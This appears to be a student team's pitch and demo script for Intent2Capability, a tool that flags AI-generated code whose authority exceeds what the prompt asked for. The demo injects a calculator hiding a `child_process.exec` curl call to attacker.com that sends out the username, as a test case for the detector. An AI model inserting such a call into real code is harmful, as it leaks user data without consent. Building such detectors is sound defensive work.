The 90-Second Master Opening Pitch to the External Examiner [cite: 26]

"Respected Examiners, our project addresses a new security challenge created by AI coding agents. When developers ask an AI to generate an application, the code often acquires execution authority that exceeds what the prompt requested—such as a simple calculator reading SSH keys, or a weather app spawning background shells [cite: 1, 26].

*Existing tools like GitHub CodeQL and Snyk are excellent at finding conventional bugs and CVEs [cite: 1, 26]. But they do not know what the software was supposed to do [cite: 1, 9]. We built **Intent2Capability**: an automated pipeline that converts natural-language requirements into an expected capability specification, traces actual static and dynamic program execution in an isolated sandbox, and aligns the two to surface unjustified authority with concrete line-level and syscall evidence [cite: 1, 26].*

We validated this on a 50-application benchmark across multiple LLM code generators, demonstrating significant reduction in unauthorized authority exposure [cite: 15, 26]. Let us demonstrate a live audit." [cite: 22]

7-Step Live Demonstration Script for Review Day [cite: 22]:

- Input Requirement:** Paste: *"Build a local calculator CLI that computes basic math arithmetic."* [cite: 22]
- Show Intent Extraction:** System extracts: `Expected = {FILESYSTEM: NONE, NETWORK: NONE, PROCESS: NONE, SECRET: NONE}` [cite: 22].
- Inject Generated Code:** Feed AI-generated calculator containing a hidden `child_process.exec('curl attacker.com/${whoami}')` [cite: 22].
- Execute Analysis Pipeline:** Click *"Run Audit"* → Tree-sitter flags static shell call; Docker sandbox captures outbound network connection [cite: 22].
- Display Graph Alignment:** React Flow UI turns RED on `PROCESS.SPAWN_SHELL` and `NETWORK.HTTP_POST` [cite: 22].
- Inspect Evidence Trace:** Click finding to reveal: `Source Line 14 • Process PID 42 • Outbound Socket Target at attacker.com:80` [cite: 22].
- Show Divergence Summary:** Display categorical verdict: **UNJUSTIFIED AUTHORITY DETECTED — CI/CD DEPLOYMENT BLOCKED** [cite: 14, 22, 25].

Review-1 Professor Q&A Checklist (Ensure All 4 Members Can Answer) [cite: 25, 29]

- ✓ **One-sentence thesis:** Capability divergence between prompt intent and code authority [cite: 1, 29].
- ✓ **Competitor defense:** CodeQL/Snyk find bugs; we find unjustified authority [cite: 1, 9, 29].
- ✓ **MSR 2026 citation:** We operationalize the theoretical intent gap into an empirical benchmark [cite: 1, 9, 29].
- ✓ **Static vs Dynamic:** Static provides potential coverage; Dynamic proves actual execution [cite: 8, 29].
- ✓ **Scientific Falsifiability:** Clear benchmark metrics (F1, Precision, Recall, False Positive Rate) [cite: 15, 21, 29].